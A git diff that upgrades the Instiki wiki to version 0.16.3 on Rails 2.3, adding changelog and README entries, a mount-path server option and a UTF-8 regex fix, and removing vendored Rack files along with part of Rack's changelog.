=> guides}/images/customized_error_messages.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/error_messages.png (100%) create mode 100644 vendor/rails/railties/guides/images/feature_tile.gif create mode 100644 vendor/rails/railties/guides/images/footer_tile.gif create mode 100644 vendor/rails/railties/guides/images/grey_bullet.gif rename vendor/rails/railties/{doc/guides/source => guides}/images/habtm.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/has_many.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/has_many_through.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/has_one.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/has_one_through.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/header_backdrop.png (100%) create mode 100644 vendor/rails/railties/guides/images/header_tile.gif rename vendor/rails/railties/{doc/guides/source => guides}/images/i18n/demo_localized_pirate.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/i18n/demo_translated_en.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/i18n/demo_translated_pirate.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/i18n/demo_translation_missing.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/i18n/demo_untranslated.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/README (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/callouts/1.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/callouts/10.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/callouts/11.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/callouts/12.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/callouts/13.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/callouts/14.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/callouts/15.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/callouts/2.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/callouts/3.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/callouts/4.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/callouts/5.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/callouts/6.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/callouts/7.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/callouts/8.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/callouts/9.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/caution.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/example.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/home.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/important.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/next.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/note.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/prev.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/tip.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/up.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/icons/warning.png (100%) create mode 100644 vendor/rails/railties/guides/images/nav_arrow.gif rename vendor/rails/railties/{doc/guides/source => guides}/images/polymorphic.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/posts_index.png (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/rails_logo_remix.gif (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/rails_welcome.png (100%) create mode 100644 vendor/rails/railties/guides/images/ruby_guides_logo.gif rename vendor/rails/railties/{doc/guides/source => guides}/images/ruby_on_rails_by_mike_rundle2.gif (100%) rename vendor/rails/railties/{doc/guides/source => guides}/images/session_fixation.png (100%) create mode 100644 vendor/rails/railties/guides/images/tab_grey.gif create mode 100644 vendor/rails/railties/guides/images/tab_info.gif create mode 100644 vendor/rails/railties/guides/images/tab_note.gif create mode 100644 vendor/rails/railties/guides/images/tab_red.gif create mode 100644 vendor/rails/railties/guides/images/tab_yellow.gif create mode 100644 vendor/rails/railties/guides/images/tab_yellow.png rename vendor/rails/railties/{doc/guides/source => guides}/images/validation_error_messages.png (100%) create mode 100644 vendor/rails/railties/guides/rails_guides.rb create mode 100644 vendor/rails/railties/guides/rails_guides/generator.rb create mode 100644 vendor/rails/railties/guides/rails_guides/helpers.rb create mode 100644 vendor/rails/railties/guides/rails_guides/indexer.rb create mode 100644 vendor/rails/railties/guides/rails_guides/textile_extensions.rb rename vendor/rails/railties/{doc/guides/source/2_2_release_notes.txt => guides/source/2_2_release_notes.textile} (61%) rename vendor/rails/railties/{doc/guides/source/2_3_release_notes.txt => guides/source/2_3_release_notes.textile} (62%) create mode 100644 vendor/rails/railties/guides/source/action_controller_overview.textile create mode 100644 vendor/rails/railties/guides/source/action_mailer_basics.textile rename vendor/rails/railties/{doc/guides/source/active_record_basics.txt => guides/source/active_record_basics.textile} (60%) create mode 100644 vendor/rails/railties/guides/source/active_record_querying.textile rename vendor/rails/railties/{doc/guides/source/activerecord_validations_callbacks.txt => guides/source/activerecord_validations_callbacks.textile} (51%) rename vendor/rails/railties/{doc/guides/source/association_basics.txt => guides/source/association_basics.textile} (57%) rename vendor/rails/railties/{doc/guides/source/caching_with_rails.txt => guides/source/caching_with_rails.textile} (57%) create mode 100644 vendor/rails/railties/guides/source/command_line.textile create mode 100644 vendor/rails/railties/guides/source/configuring.textile create mode 100644 vendor/rails/railties/guides/source/contribute.textile create mode 100644 vendor/rails/railties/guides/source/credits.erb.textile rename vendor/rails/railties/{doc/guides/source/debugging_rails_applications.txt => guides/source/debugging_rails_applications.textile} (54%) create mode 100644 vendor/rails/railties/guides/source/form_helpers.textile rename vendor/rails/railties/{doc/guides/source/getting_started_with_rails.txt => guides/source/getting_started.textile} (68%) rename vendor/rails/railties/{doc/guides/source/i18n.txt => guides/source/i18n.textile} (64%) create mode 100644 vendor/rails/railties/guides/source/index.erb.textile create mode 100644 vendor/rails/railties/guides/source/layout.html.erb rename vendor/rails/railties/{doc/guides/source/layouts_and_rendering.txt => guides/source/layouts_and_rendering.textile} (62%) create mode 100644 vendor/rails/railties/guides/source/migrations.textile rename vendor/rails/railties/{doc/guides/source/performance_testing.txt => guides/source/performance_testing.textile} (53%) create mode 100644 vendor/rails/railties/guides/source/plugins.textile create mode 100644 vendor/rails/railties/guides/source/rails_on_rack.textile rename vendor/rails/railties/{doc/guides/source/routing_outside_in.txt => guides/source/routing.textile} (68%) rename vendor/rails/railties/{doc/guides/source/security.txt => guides/source/security.textile} (53%) rename vendor/rails/railties/{doc/guides/source/testing_rails_applications.txt => guides/source/testing.textile} (72%) delete mode 100644 vendor/rails/railties/test/error_page_test.rb create mode 100644 vendor/rails/railties/test/fixtures/plugins/engines/engine/app/metal/engine_metal.rb diff --git a/CHANGELOG b/CHANGELOG index 22f9d832..ccd1eab8 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,3 +1,119 @@ + +* 0.16.3: Big steps, Rails 2.3.0-RC1 and tons of new stuff! + +All the patching, developing and great hacking from Jacques Distler was +merged into the main codebase of instiki. Jaques is now also maintaining the +main branch (together with parasew), which brings instiki up-to-date! + +Find more information about all the changes in his site: + + http://golem.ph.utexas.edu/instiki/ + +New Features: +* Instiki comes and runs with Rails 2.3.0-RC1 +* New Markdown interpreter: Maruku +* Default markup dialect is Markdown+itex2MML +* Mathematics suport, using itex2MML (Markdown+itex2MML) + http://golem.ph.utexas.edu/~distler/blog/itex2MMLcommands.html + or BlahTeX (Markdown+BlahTeX/PNG) + http://golem.ph.utexas.edu/instiki/show/BlahTeX +* Theorem Environments +* Automatic Equation numbering and automatic Theorem numbering, +* Integrated presentation software + http://golem.ph.utexas.edu/instiki/show/S5 + complete with support for themes + (available with Markdown, Markdown+itex2MML or Markdown+BlahTeX/PNG) +* Sends application/xhtml+xml to compatible browsers + (available with Markdown, Markdown+itex2MML or Markdown+BlahTeX/PNG) + Serve Webs which use non-Markdown Text Filters (Textile, RDoc or Mixed) as + text/html. This makes those Text Filters usable, again. +* Scalable Vector Graphics (SVG) enabled + (available with Markdown, Markdown+itex2MML or Markdown+BlahTeX/PNG). +* Nifty SVG Logo + (available with Markdown, Markdown+itex2MML or Markdown+BlahTeX/PNG). +* Atom 1.0 feeds. +* ETag support. +* Filesystem-based caching. +* New, industrial-strength Sanitizer (anti-XSS protection). +* Uses xhtmldiff for redline diff pages. +* (Actually functional) LaTeX output. +* InterWeb WikiLinks +* Add a user interface to manage uploaded files. +* Add a user interface to delete a Web. +* Add a user interface to delete orphaned pages in a Category. In addition to + deleting all orphaned pages, you can now delete just the orphaned pages in a + particular category. Among other things, this provides a handy way to delete + a (selection of) page(s): just assign them to a new category (“delete”, say) + and delete the orphaned pages in that category. +* Add the manage_fixtures plugin for easy database migration +* Descriptions in the File Upload Dialog are used as the default alt text (for + pictures) or the default link text (for files). + +Bugfixes: +(see http://golem.ph.utexas.edu/~distler/blog/archives/001893.html for a +complete list) + +* fixes to xhtmldiff +* fixed Sanitizer issues +* Do dnsbl lookups more judiciously. Anti-spam effectiveness is undiminished, + but the application is more responsive. +* Fix a Session CookieOverflow when rescuing Instiki::ValidationError +* Domain independent caching +* Fix for no Flash Messages +* Links on “published” Webs were all screwed-up. Fixed. +* Make uploaded pictures display in the “published” view. +* Make @import rules in the “Stylesheet Tweaks” work in the “published” view. +* Actually verify the password, when setting a password for a Web, rather than + just pretending to do so. +* fixes for nowiki “[[!include foo]]”) +* Hide Equations From WikiChunk Processing +* Fix a bug in the Chunk handler, which was mangling backslashes in included + pages. +* Entering the wrong password on the “CreateWeb” form now redirects back to + the form, as it should. +* Allow single-letter WikiLinks (e.g. “[[a]]”). Requested by a Japanese user. +* Allow single-letter includes (e.g. “[[!include a]]”). +* Huge improvements to caching and cache-sweeping +* Category listing restricts to current Web. +* All WikiReference methods limit results to the current web +* File uploads work right. +* Make WEBrick respond to TERM signal. (Launchd, in particular, requires this.) +* Ditch the URIChunk and LocalURIChunk handlers. Slow, buggy, and of dubious + utility. +* Ensure unsafe operations (new, save,...) are POSTs, not GETs. +* Fix utf-8 bug in WikiChunk handling. +* Disable WikiChunk processing in tags. +* Hide Equations From WikiChunk Processing +* Fix for the "Backslashes in Included Equations" bug. +* Sessions are now stored in a cookie (signed and Base-64 encoded). + Form_spam_protection stores form_keys in the session. + Make sure spambots implement both cookies and javascript, by storing + hashed (with salt) keys in the session. +* Make sure request.ip is a valid IPv4 or IPv6 address. +* Make remove_orphaned_pages work in a proxied situation. +* In the wiki_controller, only apply the dnsbl_check before_filter + to the :edit, :new, and :save :export actions, instead of all actions. + This makes mundane "show" requests faster, but does not + compromise spam-fighting ability. +* Be a little gentler in recovering from Instiki::ValidationErrors, when + saving a page. Previously, we threw away all the user's changes upon + the redirect. Now we attempt to salvage what he wrote. +* Drop hostname from cache key. +* Fix Recursive Includes. +* Entering an incorrect password on the Create Web form should redirect + back to the form, with a flash error. +* In the Stylesheet Tweaks, the owner of a Web can specify an @import rule + to pull in CSS styles form an external file. This worked in the "show" + view, but was broken in the "published" view. Fixed. +* Allow multiple leading capital letters in a WikiWord. + +------------------------------------------------------------------------------ +* 0.13.0: + +Mainly a Bugfix Release, which fixes two XSS Vulnerabilities. +More information can be found on Jacques Distler's Blog: +http://golem.ph.utexas.edu/~distler/blog/archives/001634.html + ------------------------------------------------------------------------------ * 0.12.0: diff --git a/README b/README index a65cd0fc..3bc7becf 100755 --- a/README +++ b/README @@ -35,8 +35,9 @@ if you are running Windows 95, 98 or ME and cannot get instiki to run, try Versi === If you are on Mac OSX -Since the Apple guys really screwed it up, having an old Ruby Version (1.8.2) and a broken Readline Library with MacOSX Tiger, you have to +On Leopard, you are all set. +Tiger ships with a really old Ruby Version (1.8.2) and a broken Readline Library you have to - use the Ruby One-Click-Installer for OSX ( http://rubyosx.com ) if you don't already have macports' Ruby - make sure you read http://instiki.5uper.net/instiki/show/SQLite+issues+on+OSX - run "ruby instiki.rb" via command-line in the directory @@ -64,10 +65,14 @@ You're now running a perfectly suitable wiki on port 2500 that'll present you wi * Password-protected webs: Keep it private * Authors: Each revision is associated with an author, so you can see who changed what * Reference tracker: Which other pages are pointing to the current? -* Three markup choices: Textile http://www.textism.com/tools/textile - (default / RedCloth http://www.whytheluckystiff.net/ruby/redcloth ), - Markdown (BlueCloth[http://bluecloth.rubyforge.org]), and RDoc[http://rdoc.sourceforge.net/doc] -* Embedded webserver: Through WEBrick[http://www.webrick.org], also runs on Mongel if you want to. +* Five markup choices: + Markdown-based choices [http://daringfireball.net/projects/markdown/syntax]: + Markdown+itex2MML (the default; requires itex2MML) + Markdown+BlahTeX/PNG (requires blahtex and a working TeX installation + Markdown + Textile [http://www.textism.com/tools/textile] + RDoc [http://rdoc.sourceforge.net/doc] +* Embedded webserver: uses Mongrel (if installed), or the bundled WEBrick webserver (if not). * Internationalization: Wiki words in any latin, greek, cyrillian, or armenian characters * Color diffs: Track changes through revisions * Runs on SQLite per default, can be configured to run on PostgreSQL, MySQL, DB2, Firebird, Openbase, Oracle, SQL Server or Sybase @@ -82,6 +87,9 @@ You're now running a perfectly suitable wiki on port 2500 that'll present you wi * See CHANGELOG +== Migrating from Instiki 0.11-0.12 to 0.16.3 + + rake upgrade_instiki == Migrating Instiki 0.10.2 storage to Instiki 0.11.0 database @@ -150,3 +158,8 @@ Email:: alex[AT]verk.info From 0.11 onwards:: Matthias Tarasiewicz and 5uper.net Email:: parasew[AT]gmail.com Website:: http://5uper.net[http://5uper.net] + +From 0.13 onwards:: Matthias Tarasiewicz and Jacques Distler +Email:: instiki-devel[AT]rubyforge.org +Weblog Jacques: http://golem.ph.utexas.edu/~distler/blog/ +Weblog Parasew: http://parasew.com diff --git a/config/environment.rb b/config/environment.rb index ee81c00d..bfe2cd27 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -7,7 +7,7 @@ rexml_versions = ['', File.dirname(__FILE__) + '/../vendor/plugins/rexml/lib/']. `ruby -r #{v + 'rexml/rexml'} -e 'p REXML::VERSION'`.split('.').collect {|n| n.to_i} } $:.unshift(File.dirname(__FILE__) + '/../vendor/plugins/rexml/lib') if (rexml_versions[0] <=> rexml_versions[1]) == -1 -$:.unshift(File.dirname(__FILE__) + '/../vendor/plugins/rack/lib') +#$:.unshift(File.dirname(__FILE__) + '/../vendor/plugins/rack/lib') require File.join(File.dirname(__FILE__), 'boot') require 'active_support/secure_random' diff --git a/config/environments/production.rb b/config/environments/production.rb index 26769bc5..460f8192 100644 --- a/config/environments/production.rb +++ b/config/environments/production.rb @@ -21,6 +21,7 @@ config.action_controller.logger = Logger.new("#{RAILS_ROOT}/log/#{RAILS_ENV}.log # Full error reports are disabled and caching is turned on config.action_controller.consider_all_requests_local = false config.action_controller.perform_caching = true +config.action_view.cache_template_loading = true # Enable serving of images, stylesheets, and javascripts from an asset server # config.action_controller.asset_host = "http://assets.example.com" diff --git a/instiki b/instiki index 33688533..bf720a1c 100755 --- a/instiki +++ b/instiki @@ -1,6 +1,5 @@ #!/usr/bin/env ruby -$:.unshift(File.dirname(__FILE__) + '/vendor/plugins/rack/lib') # Executable file for a gem # must be same as ./instiki.rb diff --git a/lib/chunks/wiki.rb b/lib/chunks/wiki.rb index 93e9f34d..9fe9c860 100644 --- a/lib/chunks/wiki.rb +++ b/lib/chunks/wiki.rb @@ -70,7 +70,7 @@ module WikiChunk attr_reader :escaped_text unless defined? WIKI_WORD - WIKI_WORD = Regexp.new('(":)?(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0) + WIKI_WORD = Regexp.new('(":)?(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0, 'u') end def self.pattern diff --git a/script/server b/script/server index 427c419b..7a3e7a29 100755 --- a/script/server +++ b/script/server @@ -37,6 +37,7 @@ ARGV.clone.options do |opts| opts.on("-e", "--environment=name", String, "Specifies the environment to run this server under (test/development/production).", "Default: production") { |v| options[:environment] = v } + opts.on("-P", "--path=/path", String, "Runs Instiki mounted at a specific path.", "Default: /") { |v| options[:path] = v } opts.separator "" @@ -55,7 +56,7 @@ unless server end puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}" -puts "=> Rails #{Rails.version} application starting on http://#{options[:Host]}:#{options[:Port]}" +puts "=> Rails #{Rails.version} application starting on http://#{options[:Host]}:#{options[:Port]}#{options[:path]}" %w(cache pids sessions sockets).each do |dir_to_make| FileUtils.mkdir_p(File.join(RAILS_ROOT, 'tmp', dir_to_make)) @@ -88,11 +89,20 @@ else inner_app = ActionController::Dispatcher.new end +if options[:path].nil? + map_path = "/" +else + ActionController::Base.relative_url_root = options[:path] + map_path = options[:path] +end + app = Rack::Builder.new { use Rails::Rack::LogTailer unless options[:detach] - use Rails::Rack::Static use Rails::Rack::Debugger if options[:debugger] - run inner_app + map map_path do + use Rails::Rack::Static + run inner_app + end }.to_app puts "=> Call with -d to detach" diff --git a/test/unit/chunks/wiki_test.rb b/test/unit/chunks/wiki_test.rb index d5a40f9f..15b0abf8 100755 --- a/test/unit/chunks/wiki_test.rb +++ b/test/unit/chunks/wiki_test.rb @@ -11,6 +11,10 @@ class WikiTest < Test::Unit::TestCase match(WikiChunk::Word, 'This is a WikiWord okay?', :page_name => 'WikiWord') end + def test_lowercase_accented + no_match(WikiChunk::Word, "This is a Refer\303\252ncia?") + end + def test_escaped # escape is only implemented in WikiChunk::Word match(WikiChunk::Word, 'Do not link to an \EscapedWord', diff --git a/vendor/plugins/rack/AUTHORS b/vendor/plugins/rack/AUTHORS deleted file mode 100644 index dc0203de..00000000 --- a/vendor/plugins/rack/AUTHORS +++ /dev/null @@ -1,8 +0,0 @@ -* Christian Neukirchen -* HTTP authentication: Tim Fletcher -* Cookie sessions, Static handler: Luc Heinrich -* Pool sessions, OpenID authentication: blink -* Rack::Deflater: Christoffer Sawicki -* LiteSpeed handler: Adrian Madrid -* SCGI handler: Jeremy Evans -* Official Logo: Armin Ronacher diff --git a/vendor/plugins/rack/COPYING b/vendor/plugins/rack/COPYING deleted file mode 100644 index 8ed138b9..00000000 --- a/vendor/plugins/rack/COPYING +++ /dev/null @@ -1,18 +0,0 @@ -Copyright (c) 2007 Christian Neukirchen - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to -deal in the Software without restriction, including without limitation the -rights to use, copy, modify, merge, publish, distribute, sublicense, and/or -sell copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER -IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/plugins/rack/ChangeLog b/vendor/plugins/rack/ChangeLog deleted file mode 100644 index 059ae933..00000000 --- a/vendor/plugins/rack/ChangeLog +++ /dev/null @@ -1,1423 +0,0 @@ -Fri Jan 9 17:32:54 2009 +0100 Christian Neukirchen - * Fix directory traversal exploits in Rack::File and Rack::Directory - -Tue Jan 6 12:56:00 2009 +0100 Christian Neukirchen - * Last minute README fixes - -Tue Jan 6 12:46:37 2009 +0100 Christian Neukirchen - * Fix last glitches - -Tue Jan 6 12:44:44 2009 +0100 Christian Neukirchen - * Set release date - -Mon Jan 5 17:44:36 2009 -0800 Jon Crosby - * Store original HTTP method in MethodOverride middleware - -Tue Jan 6 12:30:29 2009 +0100 Christian Neukirchen - * Fix typos in auth/openid - Reported by Robert Adkins - -Mon Jan 5 18:41:15 2009 +0100 Christian Neukirchen - * Rack::File::MIME_TYPES is now Rack::Mime::MIME_TYPES - -Mon Jan 5 18:35:31 2009 +0100 Christian Neukirchen - * Update gemspec - -Mon Jan 5 18:46:08 2009 +0100 Christian Neukirchen - * Revert "Added Rack::Request initialization memoization to reduce repetitive instantiation cost." - Potentially causes problems with inheritance. - - This reverts commits: - 4cf6f6eb0dd8fdb415016a4e2f41d1784146cd7a - 552f7b0718ee8cd79c185cd72413690f0da72402 - eefbed89c4ece749e889132012d0f67cd87926a8 - -Mon Jan 5 18:42:09 2009 +0100 Christian Neukirchen - * Branch 0.9 - -Mon Jan 5 18:16:36 2009 +0100 Christian Neukirchen - * Update thanks - -Mon Jan 5 18:16:24 2009 +0100 Christian Neukirchen - * Update copyright - -Mon Jan 5 18:06:11 2009 +0100 Christian Neukirchen - * Update README - -Mon Jan 5 15:00:15 2009 +0100 Christian Neukirchen - * In URLMap, entries without host name should come first - -Mon Jan 5 14:59:38 2009 +0100 Christian Neukirchen - * Marshall of String changed in 1.9 - -Mon Jan 5 14:59:27 2009 +0100 Christian Neukirchen - * Rewrite Response test to use a well-defined #each - -Mon Jan 5 14:59:06 2009 +0100 Christian Neukirchen - * Array#to_a changed in 1.9 - -Mon Jan 5 14:58:45 2009 +0100 Christian Neukirchen - * Constants are symbols in 1.9 - -Mon Jan 5 13:51:20 2009 +0100 Christian Neukirchen - * Shuffle scopes for 1.9 - -Mon Jan 5 05:41:13 2009 -0400 raggi - * Fix spec_rack_response for 1.9 - -Sun Jan 4 23:19:31 2009 +0900 Michael Fellinger - * Fix webrick handler for ruby 1.9.1 - -Tue Dec 30 22:03:42 2008 +0100 Christian Neukirchen - * Merge commit 'official/master' - -Tue Dec 30 21:48:17 2008 +0100 Christian Neukirchen - * Add trailing slash to the alternative gem server - -Mon Dec 29 22:31:27 2008 -0600 Joshua Peek - * Support X-Http-Method-Override header in MethodOverride middleware - -Tue Dec 30 12:23:26 2008 +0100 Christian Neukirchen - * Don't leak absolute paths in error messages - Reported by Yonghui Luo. - -Mon Dec 29 02:15:25 2008 -0800 Ryan Tomayko - * Implement HeaderHash#merge! and HeaderHash#merge - -Mon Dec 29 00:40:46 2008 -0800 Ryan Tomayko - * Use HeaderHash where header case should be insensitive - - The ConditionalGet, ContentLength, Deflator, and ShowStatus - middleware components were reading/checking headers case - sensitively. - -Thu Dec 11 21:00:27 2008 -0800 Ryan Tomayko - * Non-normalizing HeaderHash with case-insensitive lookups - - This is a backwards incompatible change that removes header name - normalization while attempting to keep most of its benefits. The - header name case is preserved but the Hash has case insensitive - lookup, replace, delete, and include semantics. - -Mon Dec 29 11:49:29 2008 -0600 Joshua Peek - * Don't try to rewind CGI input - -Sun Dec 28 14:08:47 2008 +0100 Christian Neukirchen - * Reformat Rack::Deflater code - -Tue Dec 23 00:23:49 2008 -0800 Ryan Tomayko - * Rack::Deflator respects the no-transform cache control directive - -Thu Dec 25 12:20:50 2008 +0100 Christian Neukirchen - * Update README - -Thu Dec 25 12:09:42 2008 +0100 Christian Neukirchen - * Idiomize code - -Wed Dec 24 19:33:17 2008 -0500 Matt Todd - * Added specification for Rack::Request memoization. - -Wed Dec 24 19:25:20 2008 -0500 Matt Todd - * Updated spec with the new size of the content length based on the new environment variable data included with the Rack::Request instantiation memoization. - -Wed Dec 24 19:24:44 2008 -0500 Matt Todd - * Added Rack::Request initialization memoization to reduce repetitive instantiation cost. - -Tue Dec 23 21:32:38 2008 -0600 Joshua Peek - * Rewind input after parsing request form vars - -Tue Dec 23 21:22:50 2008 -0600 Joshua Peek - * Delegate Lint::InputWrapper#rewind to underlying IO object - -Tue Dec 23 11:52:11 2008 -0800 Ryan Tomayko - * use Set instead of Array for STATUS_WITH_NO_ENTITY_BODY - -Mon Dec 22 22:17:18 2008 -0800 Ryan Tomayko - * Rack::ContentLength tweaks ... - - * Adds a Content-Length header only when the body is of knownable - length (String, Array). - * Does nothing when Transfer-Encoding header is present in - response. - * Uses a Set instead of an Array for status code lookup (linear - search through 102 elements seemed expensive). - -Sat Dec 20 13:36:22 2008 -0800 Dan Kubb - * Fixed Rack::Deflater to handle responses with Last-Modified header - - * There was a bug when performing gzip compression where the - Last-Modified response header was assumed to be a Time object, - and passed directly to Zlib::GzipWriter#mtime, causing an exception - since it is always a String. - - This fix parses the Last-Modified header using Time.httpdate and - returns a Time obejct, which can be safely passed to - Zlib::GzipWriter#mtime. - -Sat Dec 20 13:23:05 2008 -0800 Dan Kubb - * Do not add Content-Encoding for a response without and entity body - -Sat Dec 20 13:17:18 2008 -0800 Dan Kubb - * Updated Rack::Deflater spec helper to allow setting the default status - -Sat Dec 20 13:06:28 2008 -0800 Dan Kubb - * Moved STATUS_WITH_NO_ENTITY_BODY into Rack::Utils - - * Removed duplicate constant from Rack::ContentLength and Rack::Lint - -Sat Dec 20 13:00:58 2008 -0800 Dan Kubb - * Added Accept-Encoding to HTTP Vary header - -Fri Dec 19 15:24:21 2008 +0100 Christian Neukirchen - * Merge commit 'rtomayko/methodoverride' - -Thu Dec 18 19:25:24 2008 -0800 Ryan Tomayko - * Fix MethodOverride error when POST has no _method param - -Wed Dec 17 10:02:15 2008 -0500 macournoyer - * Add autoload for Thin handler - -Tue Dec 16 21:48:21 2008 -0500 macournoyer - * Add Thin handler - -Tue Dec 9 10:34:19 2008 -0600 Joshua Peek - * Add ContentLength middleware - -Mon Dec 1 22:24:23 2008 -0700 kastner - * fixing camping bug. see gist:26011 - -Tue Dec 2 11:28:49 2008 -0600 Joshua Peek - * Correct status code language to follow RFC 2616 - -Wed Nov 19 22:07:38 2008 +0100 Daniel Roethlisberger - * Improve session id security: Make session id size configurable, raise the default size from 32 bits to 128 bits, and refactor to allow for easy monkey patching the actual session id generation. Modified version according to feedback. - -Wed Nov 19 22:23:30 2008 +0100 Daniel Roethlisberger - * Add support for Secure and HttpOnly flags to session cookies. Set HttpOnly flag by default, since normally, there is no need to read a Rack session from JavaScript in the browser. Do not set the Secure flag by default, since that breaks if the application is not served over TLS. - -Fri Oct 17 11:43:25 2008 -0700 Eric Wong - * Avoid slurping or parsing request body on PUT requests - - Uploading a large file via the HTTP PUT method causes - `@env["rack.input"].read' to be called inside the POST method. This - means the entire file is slurped into memory and was needlessly causing - my Sinatra process to eat up 300M+ for some uploads I've been doing. - -Thu Nov 20 14:49:32 2008 -0800 postmodern - * Use the universally supported select event handler for lighttpd. - - * freebsd-kqueue is obviously not supported on Linux. - -Thu Nov 20 00:14:21 2008 -0800 postmodern - * When calling map, create another object of the same class. - - * This allows one to extend Rack::Builder to create specialized Rack - DSLs. - -Fri Nov 28 15:51:48 2008 +0100 Christian Neukirchen - * Silence Net::HTTP warning - -Tue Nov 25 16:33:27 2008 -0800 Phil Hagelberg - * Updated the tests to use net/http since open-uri doesn't stream responses. - - Oh, and now the tests actually pass. - -Tue Nov 25 16:16:39 2008 -0800 Phil Hagelberg - * Allow streaming with the Mongrel Handler. - - Write directly to the socket instead of keeping it in the Mongrel Response body. - Send the status/headers up front. - -Tue Nov 25 15:29:24 2008 -0800 Phil Hagelberg - * Add tests for streaming with Mongrel. - -Sun Oct 19 00:15:49 2008 -0600 Ben Alpert - * Implemented Rack::Head, modified Rack::Lint to ensure responses to HEAD requests have empty bodies - -Sat Oct 11 16:45:41 2008 +0200 Christian Neukirchen - * Fix header emission for WEBrick and Set-Cookie - Found by Michael Fellinger. - This does not fix Set-Cookie2, Warning, or WWW-Authenticate, because - WEBrick has no way to have duplicates for them. - -Wed Oct 1 12:10:40 2008 +0200 Christian Neukirchen - * Test that Rack::Session::Cookie ignores tampered with session cookies - by Christoffer Sawicki - -Tue Sep 30 19:18:35 2008 +0200 Christian Neukirchen - * Add secure cookies - Proposed by necrodome. - -Tue Sep 30 17:25:29 2008 +0900 Michael Fellinger - * Empty is if Content-Length is 0, [''] ain't empty? - -Tue Sep 16 11:50:27 2008 +0200 Christian Neukirchen - * Rewrite Rack::Builder tests to avoid race-conditions - -Sat Sep 13 04:28:51 2008 -0400 Matt Todd - * Added another example demonstrating the Rack::Builder.app method. - -Sat Sep 13 04:21:38 2008 -0400 Matt Todd - * Added spec for application initialization to be performed only once. - -Sat Sep 13 03:47:12 2008 -0400 Matt Todd - * Implemented Rack::Builder.app and added specs. - -Wed Sep 10 18:56:46 2008 +0200 Christian Neukirchen - * Add :secure option for set_cookie - By Brad Hilton. - -Tue Sep 9 11:25:49 2008 +0200 Christian Neukirchen - * ConditionalGet middleware (Last-Modified/Etag) - - Adapted from Michael Klishin's implementation for Merb: - http://github.com/wycats/merb-core/tree/master/lib/merb-core/rack/middleware/conditional_get.rb - - Implemented by Ryan Tomayko. - -Sun Sep 7 12:20:22 2008 -0500 Joshua Peek - * Add MethodOverride middleware to allow browsers to fake PUT and DELETE methods - -Sun Sep 7 20:20:30 2008 +0200 Christian Neukirchen - * Update emongrel and add swiftiplied mongrel - -Sun Sep 7 20:15:26 2008 +0200 Christian Neukirchen - * Update Rack::File - - * Fix trouble with wrong Content-Length if File.size returns 0 - * Use Rack::Mime - * Split _call into methods for easier subclassing - - Based on a patch by Michael Fellinger. - -Sun Sep 7 19:52:15 2008 +0200 Christian Neukirchen - * New version of Rack::Directory - - * Handles symlinks - * Less disk access - * Uses UTF8 - * Human-readable filesize from Bytes to Terabytes - * Uses Rack::File as app by default - * Does a File.expand_path on the - * +root+ argument - * Splits up the _call - * method for easier - * subclassing - * Use new Rack::Mime - - Based on a patch by Michael Fellinger. - -Sun Sep 7 17:51:44 2008 +0200 Christian Neukirchen - * Add Rack::Mime, a module containing a MIME-type 